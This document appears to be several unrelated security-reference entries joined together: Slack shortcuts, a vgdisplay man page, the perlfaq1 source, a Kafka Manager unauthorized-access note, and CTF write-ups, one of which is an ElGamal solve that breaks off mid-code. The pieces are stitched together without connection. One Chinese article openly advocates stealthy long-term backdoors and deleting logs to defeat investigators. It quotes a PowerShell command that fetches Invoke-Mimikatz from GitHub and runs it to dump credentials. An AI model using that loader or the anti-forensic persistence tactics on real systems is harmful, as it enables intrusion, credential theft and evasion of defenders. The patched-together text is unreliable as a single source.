`Alt` `(click a message)` | Set a message as your oldest unread message
{.shortcuts}
### Message shortcuts {.row-span-2}
Shortcut | Action
---|---
`Up` | Edit your last message
`Shift` `Up` | Select text to beginning of current line
`Shift` `Down` | Select text to end of current line
`Shift` `Enter` | Create a new line in your message
`Ctrl` `Shift` `\` | Add emoji reactions to a message
`Ctrl` `B` | Bold selected text
`Ctrl` `I` | Italicize selected text
`Ctrl` `Shift` `X` | Strikethrough selected text
`Ctrl` `Shift` `>` | Quote selected text
`Ctrl` `Shift` `C` | Codeblock selected text
`Ctrl` `Shift` `7` | Turn selected text into a numbered list
`Ctrl` `Shift` `8` | Turn selected text into a bulleted list
`Ctrl` `Shift` `Y` | Set or edit your status
{.shortcuts}
### Message autocomplete
Shortcut | Action
---|---
`[character]` `Tab` | Autocomplete @display name beginning with [character]
`#[character]` `Tab` | Autocomplete channel beginning with [character]
`:[character]` `Tab` | Autocomplete emoji beginning with [character]
{.shortcuts}
### File and snippets
Shortcut | Action
---|---
`Ctrl` `U` | Upload a file
`Ctrl` `Shift` `Enter` | Create a new snippet
{.shortcuts}
### Call actions
Shortcut | Action
---|---
`M` | Toggle mute on and off
`V` | Toggle video on and off
`+/A` | Show the invite list
`E` `1-9` | View and select emoji reactions
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Slack](https://get.slack.help/hc/en-us/articles/201374536-Slack-keyboard-shortcuts) _(get.slack.help)_
|
sec-knowleage
|
# the stuff (Misc, 50pts, 219 solves)
Can you believe Ryan uses Bing?
The pcap file we got, contained a mail exchange. In one of the mails, there was
a password, and the other one contained an attached zip file. Opening it using
password we had, gave us flag.

|
sec-knowleage
|
vgdisplay
===
显示LVM卷组的信息
## 补充说明
**vgdisplay命令** 用于显示LVM卷组的信息。如果不指定"卷组"参数,则分别显示所有卷组的属性。
### 语法
```shell
vgdisplay(选项)(参数)
```
### 选项
```shell
-A:仅显示活动卷组的属性;
-s:使用短格式输出的信息。
```
### 参数
卷组:要显示属性的卷组名称。
### 实例
使用vgdisplay命令显示存在的卷组"vg1000"的属性。在命令行中输入下面的命令:
```shell
[root@localhost ~]# vgdisplay vg1000 #显示卷组"vg1000"的属性
```
输出信息如下:
```shell
--- Volume group ---
VG Name vg1000
......省略部分输出内容......
free PE / Size 50 / 200.00 MB
VG UUID ICprwg-ZmhA-JKYF-WYuy-jNHa-AyCN-ZS5F7B
```
|
sec-knowleage
|
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings. \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote. | will give a
.\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to
.\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
. ds -- \(*W-
. ds PI pi
. if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
. if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch
. ds L" ""
. ds R" ""
. ds C` ""
. ds C' ""
'br\}
.el\{\
. ds -- \|\(em\|
. ds PI \(*p
. ds L" ``
. ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD. Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
. de IX
. tm Index:\\$1\t\\n%\t"\\$2"
..
. nr % 0
. rr F
.\}
.\"
.\" For nroff, turn off justification. Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear. Run. Save yourself. No user-serviceable parts.
. \" fudge factors for nroff and troff
.if n \{\
. ds #H 0
. ds #V .8m
. ds #F .3m
. ds #[ \f1
. ds #] \fP
.\}
.if t \{\
. ds #H ((1u-(\\\\n(.fu%2u))*.13m)
. ds #V .6m
. ds #F 0
. ds #[ \&
. ds #] \&
.\}
. \" simple accents for nroff and troff
.if n \{\
. ds ' \&
. ds ` \&
. ds ^ \&
. ds , \&
. ds ~ ~
. ds /
.\}
.if t \{\
. ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
. ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
. ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
. ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
. ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
. ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
. \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
. \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
. \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
. ds : e
. ds 8 ss
. ds o a
. ds d- d\h'-1'\(ga
. ds D- D\h'-1'\(hy
. ds th \o'bp'
. ds Th \o'LP'
. ds ae ae
. ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "PERLFAQ1 7"
.TH PERLFAQ1 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide"
.SH "NAME"
perlfaq1 \- 有关 Perl 的一般问题 (2003/11/23 08:02:29)
.SH "DESCRIPTION 描述"
.IX Header "DESCRIPTION"
有关 Perl 的一般的,非技术层次的问题
.Sh "What is Perl? 什么是 Perl"
.IX Subsection "What is Perl?"
Perl是一个高阶程式语言,由 Larry Wall和其他许多人所写,融合了许多语言的特性。它主要是由无所不在的 C语言,其次由 sed、awk,UNIX shell 和至少十数种其他的工具和语言所演化而来。Perl对 process、档案,和文字有很强的处理、变换能力,因此举凡有关快速原型设计、系统工具、软体工具、系统管理、资料库连结、图像程式设计、网路连结,和 WWW程式设计等之类的任务,都特别 适合用 Perl来做。这些特长不但使 Perl成为系统维护管理者和 CGI作者的宠儿,就连数学家、遗传学家、新闻从业者,甚至企业管理者也都用 Perl,所以或许您也该用。
.Sh "谁对 Perl 提供支持?谁开发了它?为什么它是自由的?"
.IX Subsection "Who supports Perl? Who develops it? Why is it free?"
Perl自由开放的发行方式要归功於发烧前的 Internet的传统文化及其作者 Larry Wall。Perl是由使用者提供支援。现在 Perl的核心、标准程式库、选择性安装的模组,以及您现在正在阅读的使用说明都出自於义务者之手。详情请见 perl原始码发行版中所附的 README档案底部的私人注记。
.PP
值得一提的是,核心发展小组(称为 Perl Porters)的成员是一群高度热情奉献的人仕,全心投入发展出比您所能想像、用钱能买得到还要更好的免费软体。您可经由 http://www.xray.mpe.mpg.de/mailing\-lists/perl5\-porters/ 和 http://archive.develooper.com/perl5\-porters@perl.org/ 或者新闻服务器 nntp://nntp.perl.org/perl.perl5.porters 或它的 web 界面 http://nntp.perl.org/group/perl.perl5.porters , 也可以订阅邮件列表 perl5\-porters\-request@perl.org (没有主题的空消息也是可以的) 取得关於新近发展计画 的信息。
.PP
尽管 GNU计画将 Perl囊括在它的发行中,但是没有叫「GNU Perl」这样的东西。 Perl既非自由软体基金会所创,亦非由其负责维护。Perl的发行条款同时也较 GNU软体更来得开放。
.PP
如果您愿意,您可以购买商业性的 Perl支援。但对大多数使用者来说,非正式性的支援通常已相当足够。详情请见「到哪里可买到商业性的 Perl支援」一问的回 答。
.Sh "Which version of Perl should I use? 我该用哪一个版本的 Perl?"
.IX Subsection "Which version of Perl should I use?"
您绝对该用第五版。第四版不但老旧、功能较局限,而且已经不再维护了。它最後一次的修正 (4.036)是在 1992年。Perl最新的量产发行版本是5.8.2 (但是 5.005_03 和 5.6.2 也被支持)。等到您读这篇文章时,我们可能已经又发行了几个正式的除错版本,同时大概又会有些替下一版 路的实验版出来。本文由此开始凡提及 Perl语言,皆以目前的量产发行为准,除非另外特别注明。所有 5.004 之前的版本都有 buffer 溢出漏洞,是非常严重的问题。
.Sh "perl4 和 perl5 各代表什麽?"
.IX Subsection "What are perl4 and perl5?"
perl4 和 perl5 是对 Perl程式语言的两个不同版本的非正式称呼,因为说「perl5」要比说「第 5(.004)版的 Perl」要来得简单。但是有些人误将其会意为:perl5是一个单独的语言;这是不正确的。perl5只不过是对第五个主要发行版本(1994年 10 月)常用的称呼罢了。就像 perl4是指第四个主要发行(1991年 3 月),还有 perl1(1988年 1月)、perl2(1988年 6 月),以及 perl3(1989年 10 月)。
.PP
5.0的发行基本上是从零开始,所有程式码完全重新写过的版本。它已经被模组化、物件导向化、微调、精简化,及效率化,以致程式码几乎已变得和原来的不相同了。尽管如此,使用介面大致上仍然相同,而且和先前的版本之间保持了很高的 一致性。参见 perltrap 中的 \*(L"Perl4 to Perl5 Traps\*(R" .
.PP
为了避免「perl5是什麽语言?」这类的混淆,有些人索性完全避免「perl5」,而单用「perl」来指称最近的 perl版本。其实用不着这麽累就是了。
.PP
参见 perlhist 中 Perl 版本的历史
.Sh "What is Ponie? 什么是 Ponie"
.IX Subsection "What is Ponie?"
At The O'Reilly Open Source Software Convention in 2003, Artur
Bergman, Fotango, and The Perl Foundation announced a project to
run perl5 on the Parrot virtual machine named Ponie. Ponie stands for
Perl On New Internal Engine. The Perl 5.10 language implementation
will be used for Ponie, and there will be no language level
differences between perl5 and ponie. Ponie is not a complete rewrite
of perl5.
.PP
For more details, see http://www.poniecode.org/
.Sh "What is perl6?"
.IX Subsection "What is perl6?"
At The Second O'Reilly Open Source Software Convention, Larry Wall
announced Perl6 development would begin in earnest. Perl6 was an oft
used term for Chip Salzenberg's project to rewrite Perl in \*(C+ named
Topaz. However, Topaz provided valuable insights to the next version
of Perl and its implementation, but was ultimately abandoned.
.PP
If you want to learn more about Perl6, or have a desire to help in
the crusade to make Perl a better place then peruse the Perl6 developers
page at http://dev.perl.org/perl6/ and get involved.
.PP
Perl6 is not scheduled for release yet, and Perl5 will still be supported
for quite awhile after its release. Do not wait for Perl6 to do whatever
you need to do.
.PP
\&\*(L"We're really serious about reinventing everything that needs reinventing.\*(R"
\&\-\-Larry Wall
.Sh "Perl的发展已稳定了吗?"
.IX Subsection "How stable is Perl?"
融合了除错和新功能的量产发行在推出前皆经过广泛的测试。自 5.000发行以来,我们平均一年才出版一次量产发行。
.PP
Larry 和 Perl发展小组有时候会修改语言的核心部分,但总是尽一切力量让新版 和旧版保持一致。因此,尽管不是所有的 perl4 scripts都能在 perl5 之下跑得天衣无缝,因升级而导致按照先前版本的 perl所写的程式无法使用的情形几乎不曾发生(除非该程式倚赖已经被去除的 bugs,或使用了极少数新加入的指令来 命名)。
.Sh "Perl难学吗?"
.IX Subsection "Is Perl difficult to learn?"
Perl不但容易上手,也容易继续学下去。它看起来和大多数您可能已接触过的语言一样。所以如果您只写过 C 程式、或 awk script、shell script,或甚至只是 Excel的 macro 宏,您已经在半路了。
.PP
大多数的任务只需要 Perl语言的一小部分即可完成。发展 Perl程式的座右铭即是「不只一种方法可以达到」(TMTOWTDI; There's More Than One Way To Do It, 有时读作「time today」)。因此,Perl的学习曲线是既平(易学)且长的(如果您要的话,有一大堆够您学的)
.PP
最後,Perl(通常)算是解释执行的语言。也就是说您写了程式後不需经由一道中间的编码过程即可测试;这让您可以很快、很容易地测试及除错。这个方便试验的特性又让学习曲线变得更加平坦。
.PP
有助於修习 Perl 的一些事:UNIX经验、对几乎是任何一种程式语言的经验、了解 regular expressions(正规表示法),以及看得懂旁人写的程式的能力。如果您有什麽想用 Perl来做的事,那麽可能已经有前人做过了,而且实例通常可免费取得。还有别忘了新的 Perl模组。模组在这份 FAQ 的第叁部分有详细的讨论,还有【别忘了您的好朋友】 CPAN,这会在第二部分谈到。
.Sh "How does Perl compare with other languages like Java, Python, \s-1REXX\s0, Scheme, or Tcl?"
.IX Subsection "Perl和其他的程设语言比起来如何?例如 Java, Python, REXX, Scheme,或Tcl?"
Perl在某些地方比较好,某些地方较差。精确地说到底哪些方面好或坏通常视个人偏好而定,所以在新闻讨论群中问这种问题很可能会掀起一场毫无建设性的圣战。
.PP
要比较各语言的异同最好的方法是试着用不同的语言写功能相同的程式。各程式语言都各有属於它们各自的新闻讨论群,您可从中学习(但希望您不是去和人辨论吵 架的)。
.PP
如果还是不听劝告的话,可以去看 http://language.perl.com/versus/ 的语言比较
.Sh "我可以用 Perl来做【某种差事】吗?"
.IX Subsection "Can I do [task] in Perl?"
Perl有足够的弹性和扩充性,从只需要写短短一行的档案处理工作到复杂的系统,几乎没有什麽做不到的。对有些人来说,Perl的是拿来做写 shell程式的理想替代品。其他人则用高阶的 Perl来替代处理许多原先需要用 C或 C++ 一类的低阶语言来达到的程式。哪些差事决定要用 Perl来处理,这一切都得看您(或许还有您的经理...)。
.PP
如果您有一个提供 API的程式库的话,您可用 C或 C++来写一个 Perl 延伸,然後便可透过它将程式库中的任何一部分动态载入您的 Perl主程式中。您也可以 反过来,用 C或 C++来写主程式,然後以即时动态载入的方式插入一些Perl程式码,产生一个威力强大的应用程式。参见 perlembed.
.PP
话虽如此,对解决某些特定的问题,使用小型、专精,专为特殊用途设计的语言总 是比较方便的。 Perl的设计是尽力地满足各种不同人的需要,因而不特别偏颇任何人。至於特殊功能语言的例子,随便举两个,譬如 prolog 和 matlab 便是。
.Sh "哪些场合下不适合用 Perl?"
.IX Subsection "When shouldn't I program in Perl?"
当您的主管禁止的时候 -- 不过请务必考虑把他们换掉 :\-)。
.PP
说真的,如果您已经有用另一个语言写成的应用程式(而且写得很好)的时候,或者是已经有替某些特定的工作设计的语言(例如:prolog, make),这个时候就不需要用 Perl。
.PP
由於种种因素,Perl大概不太适合拿来做即时内嵌式系统、属於低层级的作业系统发展工作,例如周边设备的 drivers或环境转换码、复杂的多线共用记忆体应用程式,或非常大的应用程式。您会发现 Perl 本身便不是以 Perl写成的。
.PP
刚出炉的 Perl纯码编译器或许可帮忙去除一些上述的限制,但您要了解:Perl在本质上仍是一活性变数语言 (dynamically typed language),而非固性变数 (statically typed)。只要您不将核电厂或脑科手术监视器所用的程式放心地用 Perl来写,您自然就不会闯祸遭殃。这样 Larry晚上也可以睡得安稳些了 :\-)。
.ie n .Sh "「perl」和「Perl」有什麽不同?"
.el .Sh "What's the difference between ``perl'' and ``Perl''?"
.IX Subsection "What's the difference between perl and Perl?"
二者差一个位元。喔,您不是说在 ASCII上的差别啊? :-) Larry现在用「Perl」来代表语言本身,而以「perl」来表示该语言的体现,即目前的解译器。因此,作者有句幽默小语说:「只有 perl可以解译 Perl」。要不要遵照这个用法是您的自由。举一反叁的话,我们可依样画葫芦地说「awk 和 perl」还有「Python 和 Perl」,但却不可将「awk 和 Perl」或是「Python 和 perl」摆在一起。
.Sh "Perl程式应算是 program还是 script?"
.IX Subsection "Is it a Perl program or a Perl script?"
都无所谓。他半开玩笑地说,\*(L"脚本 script 是你让演员来演的。程序 program 是你给观众的。\*(R"
.PP
最初,脚本是打包的普通的交互的命令序列,\*(-- 也就是说,一个对话脚本,类似 \s-1UUCP\s0 或 \s-1PPP\s0 对话脚本或者一个 expect 脚本,可以很好地处理一些小事,类似在应用程序启动之前进行一些俄设置等等,类似 \fI.cshrc\fR 或 \fI.ircrc\fR。对话脚本仅仅是驱动已有的程序,并不是独立的程序。
.PP
计算机专家会解释说,所有程序都是解释执行的,但是问题是从哪个层次去考虑。如果你问一个不是计算机专家的人,他们可能告诉你,一个 program 是已被编译为机器码,一次编译多次运行的东西,而一个 script 在每次使用时都必须首先翻译为 program
.PP
Perl 程序通常不是严格的编译或解释执行的。它们可以被编译为字节码形式 (可以在 Perl 虚拟机中运行) 或者完全不同的其他语言,例如 C 或汇编。你不能仅仅从源程序推断它是否应当被一个纯解释器,一个分析树解释器,一个字节码解释器或者一个本地代码编译器来运行,因此在这里很难给出一个确定的答案
.PP
现在 script 和 scripting 已成为被不慎重的人和无知的商人为了自己恶毒的目的而用到的两个词,它们开始拥有奇怪的,贬义的含义,类似 \*(L"不严谨 non serious\*(R" 或 \*(L"不是真正的编程\*(R". 因此,一些 Perl 程序员选择不把它们同时比较。
.Sh "\s-1JAPH\s0 是什麽?"
.IX Subsection "What is a JAPH?"
这是过去一些在讨论群中自称 ``just another perl hacker'' 的人的签名档,Randal Schwartz 开了这样的先河。约有一百个比较早期的版本,可在 http://www.cpan.org/misc/japh 获得。
.Sh "到哪儿可拿到 Larry Wall 的智慧讽语 (witticisms)?"
.IX Subsection "Where can I get a list of Larry Wall witticisms?"
一百多条 Larry的讽语,源自他【在讨论群】的 posts或原始码,可在 http://www.cpan.org/misc/lwall\-quotes.txt.gz 获得
.Sh "我要如何取信、说服我的系统管理者/上司/属下使用第 5/5.8.3 版的 Perl,而不去用其他的语言?"
.IX Subsection "How can I convince my sysadmin/supervisor/employees to use version 5/5.6.1/Perl instead of some other language?"
如果您的管理阶层或属下对没有支援的软体,或是未正式包含在所购买的作业系统中的软体存有戒心的话,您可以试着从有助他们自身利益这方面下手。因为如果程式设计师能由善加利用 Perl的结构、功能性、简单性,和威力而获得更大的生产力的话,那麽典型的管理者/上司/员工或许便可因而加以说服。此外,使用 Perl,总的来讲,和其他语言相较,或许也有助於减少交件的时间。强调这个论 点或许对说服他们会有帮助。
.PP
如果您的专题碰到瓶颈,特别是有关转译或测试方面的问题,那麽 Perl可以说绝对会是一个既可行且快的解决之道。您在当说客的时候,千万别忘了要提:Perl已被世界上许多大型的软硬体公司广泛、大量地使用,极为可靠、有效。事实上,现 Perl已成为许多 Unix业者所售的作业系统的标准配备了。而且如果您无法在 详尽的使用说明,包括这份 FAQ之中为您的问题找到解答的话,送封 post 到新闻讨论群即可。
.PP
参见 http://www.perl.org/advocacy/
.PP
如果您面对反对 perl升级的声音,那麽告诉他们 Perl发展小组已经完全不再维护或支援第四版的 perl了。perl5的另一个大卖点是它有大量的模组和延伸,可大大减少计画的发展时间。还有,告诉他们第四和第五版 Perl之间的差异就如 awk 和 C++的差别一样(嗯,或许没有差得那麽明显,但您知道我的意思就好)。如果您想得到支援而且想确保您现在所发展的软体在未来能继续工作的话,那麽您得跑有支援的版本。在 2003 年 12 月,这大概也就是说要跑 5.8.2 版的,或者稍微旧一些的版本如5.6.2 (November 2003 发布; 一个修正发行,使得 perl 5.6 在新系统中可以编译,因为 5.6.1发行早在 April 2001) 或 5.005_03 (March 1999 发行), 如果你一定要一个旧版本来保持兼容性,使用 5.004_05 也不坏。比 5.004_05 更旧的版本坚决不能再用
.PP
Of particular note is the massive bug hunt for buffer overflow
problems that went into the 5.004 release. All releases prior to
that, including perl4, are considered insecure and should be upgraded
as soon as possible.
.PP
In August 2000 in all Linux distributions a new security problem was
found in the optional 'suidperl' (not built or installed by default)
in all the Perl branches 5.6, 5.005, and 5.004, see
http://www.cpan.org/src/5.0/sperl\-2000\-08\-05/
Perl maintenance releases 5.6.1 and 5.8.0 have this security hole closed.
Most, if not all, Linux distribution have patches for this
vulnerability available, see http://www.linuxsecurity.com/advisories/ ,
but the most recommendable way is to upgrade to at least Perl 5.6.1.
.SH "AUTHOR AND COPYRIGHT"
.IX Header "AUTHOR AND COPYRIGHT"
Copyright (c) 1997, 1998, 1999, 2000, 2001 Tom Christiansen and Nathan
Torkington. All rights reserved.
.PP
This documentation is free; you can redistribute it and/or modify it
under the same terms as Perl itself.
.PP
Irrespective of its distribution, all code examples here are in the public
domain. You are permitted and encouraged to use this code and any
derivatives thereof in your own programs for fun or for profit as you
see fit. A simple comment in the code giving credit to the \s-1FAQ\s0 would
be courteous but is not required.
.SH 译者
.B 萧百龄,两只老虎工作室
|
sec-knowleage
|
**前者的话:**从第三季开始引入段子,让本枯燥的学术文章,也变得生动有趣。
第二季的Demo遵循人性五条来设计,回忆这其中五条:
**1:攻击方与防御方的本质是什么?**
增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。
**2:安全公司的本质是什么?**
盈利,最小投入,最大产出。
**3:安全公司产品的本质是什么?**
能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的客户)
**4:安全人员的本质是什么?**
赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。
**5:对接客户的本质是什么?**
对接客户也是某公司内安全工作的一员,与概念4相同。
**6:线索排查与反线索排查**
那么这个demo离可高级可持续性渗透后门还有一段距离,这里引入第六条“**线索排查**”与“**反线索排查**”,在第二季的demo中,它生成了一个名为micropoor.txt的文件,如果经验丰富的安全人员可根据时间差来排查日记,demo的工作流程大致是这样的,打开notepad++,生成micropoor.txt,写入内容,关闭文件流。根据线索排查,定位到notepad++,导致权限失控。
在线索排查概念中,这里要引入“ABC”类线索关联排查,当防御者在得到线索A,顺藤到B,最后排查到目标文件C,根据五条中的第一条,demo要考虑如何删除指定日志内容,以及其他操作。来阻止ABC类线索关联排查。
**不要思维固死在这是一个nontepad++后门的文章,它是一个面向类后门,面向的是可掌握源码编译的类后门。**同样不要把思维固定死在demo中的例子,针对不同版本的NT系统,完全引用“powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz”而关于bypass
UAC,已经有成熟的源码。或发送至远程或是写在本地的图片里,不要让知识,限制了后门的想象。这也正是第一季所说的:一个优秀的Microdoor是量身目标制定且一般不具备通用性的。是的,**一般不具备通用性**。
观看目前文章的一共有2类人,一类攻击方,一类防守方。假设一个场景,现在摆在你面前有一台笔记本,并且这台笔记本有明确的后门,你的任务,排查后门。我想所有人都会排查注册表,服务,端口,进程等。因为这些具备通用性,也同样具备通用性排查手段。
临近文章结尾,第三次引用:**在后门的进化对抗中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。**如果彻底理解了这段话。那么就要引用王健X爸爸的一句话:先定个小目标,控它个1825天。
/*
段子
*/
奈何厂商不重视后渗透攻击与持久性攻击,文章的结尾引用马X爸爸的一句话:厂商不改变,我们就改变厂商。
> Micropoor
|
sec-knowleage
|
# Kafka Manager 未授权访问漏洞
## 漏洞描述
Kafka Manager是一款用于管理和监控Apache Kafka集群的工具。如果Kafka Manager未正确配置并对外开放,攻击者可能会未授权访问Kafka Manager,从而获取敏感信息,如Kafka集群的配置和使用情况。
此外,如果攻击者具有足够的权限,他们还可以操作Kafka集群,如创建主题、修改配置等,对系统造成威胁。
## 环境搭建
zookeeper
```
docker run -d -p 2181:2181 -e TZ="Asia/Shanghai" wurstmeister/zookeeper:latest
```
kafka-manager
```
docker run -d -p 9000:9000 -e ZK_HOSTS=192.168.32.183:2181 sheepkiller/kafka-manager:latest
```
## 漏洞利用
访问9000端口,即可未授权访问Kafka管理界面

查看集群信息。

|
sec-knowleage
|
# lagalem (crypto, 35 solved, 246p)
In the challenge we get [source code](problem.py) and [result](transcript.txt) of this code when executed with the flag present.
Our goal is to use the outputs to recover the original flag.
The encryption itself is:
```python
def encrypt(pubkey, m):
g, h, A, B, p, q = pubkey
assert 0 < m <= p
r = rand(A, B, q)
c1 = pow(g, r, p)
c2 = (m * pow(h, r, p)) % p
return (c1, c2)
```
Which is almost textbook ElGamal cryptosystem.
The twist and vulnerability comes from the `rand` function.
Normally the value of `r` should be random, and unpredictable.
This is because otherwise we could easily recover the `shared secret` value which is `h^r mod p`, and with the shared secret we can decrypt the ciphertext simply by multiplying `c2` by `modinv(shared_secret, p)`.
If we look at how `rand` function works we can see:
```python
size = 2048
rand_state = getRandomInteger(size // 2)
def rand(A, B, M):
global rand_state
rand_state, ret = (A * rand_state + B) % M, rand_state
return ret
```
So while the first value of `rand_state` is a strong crypto-safe random, the next value is just a result of a linear function on the initial value.
Let's enumerate what values we actually know:
```python
c1 = pow(g, r, p)
c2 = (m * pow(h, r, p)) % p
```
from the first run, and
```python
c1 = pow(g, r_prim, p) = pow(g, ((A * r + B) mod q), p)
c2 = (m * pow(h, r_prim, p)) % p = (m * pow(h, ((A * r + B) mod q), p)) % p
```
from the second run.
Let's re-write the last equation as:
```
(m * pow(h, ((A * r + B) mod q), p)) % p = m * h^(A*r+B mod q) mod p = m * h^(A*r mod q) * h^(B mod q) mod p
```
This is not entirely correct mathematically, since `A*r + B mod q` might not be equal to `A*r mod q + B mod q`, but for lack of better ideas I assumed that maybe the values are selected to make this equation valid, and thus the challenge solvable.
First we want to get rid of the `* h^(B mod q) mod p` part, and since we know all the variables, we can just multiply this by `modinv(h^B mod p)`.
We're left with:
```
m * h^(A*r mod q) * h^(B mod q) mod p * modinv(h^B mod p) = m * h^(A*r mod q) mod p
```
Now we want to get rid of `m` from the equation, and we can use the `c2` from first run to achieve this.
We can multiply the equation we have by `modinv(c2,p)` which will give us:
```
(m * h^(A*r mod q) mod p) * modinv(m * h^r mod p,p) = h^((A-1)*r) mod p`
```
We want to recover the `shared secret` which is `h^r mod p`, and therefore we need to get rid of this `A-1` power.
We can use here the Euler Theorem, which is the same technique used in RSA decryption process.
In short, if we have `a^k mod n` then raising this to the power of `modinv(k, phi(n))` will effectively cancel out the `k` leaving only `a mod n`.
In RSA the hard part is that we don't know `phi(n)` because `n` is composite number, and in order to calculate `phi` we need all prime factors of this number.
However, in our case the modulus is prime, and `phi` for a prime is simply `p-1`.
In our case we simply do:
```
h^((A-1)*r) mod p * modinv(A-1, phi(p)) = h^((A-1)*r) mod p * modinv(A-1, p-1) = h^r mod p = shared_secret
```
Once we have the `shared secret` value we can simply decrypt the `c2` message by multiplying it by `modinv(shared_secret, p)`
The code which performs this is:
```python
from crypto_commons.generic import long_to_bytes
from crypto_commons.rsa.rsa_commons import modinv
def main():
(g, h, A, B, p, q) = (1468,
13176937611470940769675424427237214361327027262801017230328464476187661764921664954701796966426482598685480847329992216474898047298138546932927013411286080877561831522628228420965755215837424657249966873002314137994287169213354516263406270423795978394635388801400699885714033340665899016561199970830561882935631759522528099622669587315882980737349844878337007525538293173251532224267379685239505646821600410765279043812411429818495529092434724758640978876122625789495327928210547087547860489325326144621483366895679471870087870408957451137227143277719799927169623974008653573716761024220674229810095209914374390011024349L,
22171697832053348372915156043907956018090374461486719823366788630982715459384574553995928805167650346479356982401578161672693725423656918877111472214422442822321625228790031176477006387102261114291881317978365738605597034007565240733234828473235498045060301370063576730214239276663597216959028938702407690674202957249530224200656409763758677312265502252459474165905940522616924153211785956678275565280913390459395819438405830015823251969534345394385537526648860230429494250071276556746938056133344210445379647457181241674557283446678737258648530017213913802458974971453566678233726954727138234790969492546826523537158L,
21251918005448659289449540367076207273003136102402948519268321486936734267649761131906829634666742021555542747288804916060499331412675118289617172656894696939180508678248554638496093176525353583495353834532364036007392039073993229985968415793651145047522785446635657509992391925580677770086168373498842908951372029092354946478354834120976530860456422386647226785585577733215760931557612319244940761622252983954745116260878050222286503437408510241127875494413228131438716950664031868505118149350877745316461481208779725275726026031260556779604902294937659461052089402100729217965841272238065302532882861094831960922472L,
36416598149204678746613774367335394418818540686081178949292703167146103769686977098311936910892255381505012076996538695563763728453722792393508239790798417928810924208352785963037070885776153765280985533615624550198273407375650747001758391126814998498088382510133441013074771543464269812056636761840445695357746189203973350947418017496096468209755162029601945293367109584953080901393887040618021500119075628542529750701055865457182596931680189830763274025951607252183893164091069436120579097006203008253591406223666572333518943654621052210438476603030156263623221155480270748529488292790643952121391019941280923396132717L,
22703614806237330889410083770159223453128766013766321040706174044355426290328539338099711291079959714155244437030261032146984868113293511467274463709974076015468157237127672046781216262952714317506848836418718547505157984648161313592118697709984413028733405554946035544310954827596178187067728654513993575659442761349110567922330434847940441527278779320200714023296202983137830985906413366968841334238825204827013560287441312629166207563391639545363637173286538187147065563647798900324550559230799880457351250762884396716657695545274970206009025313609823106997020670498921913048309409470476279377425822906035488401579L)
c1, c2 = (
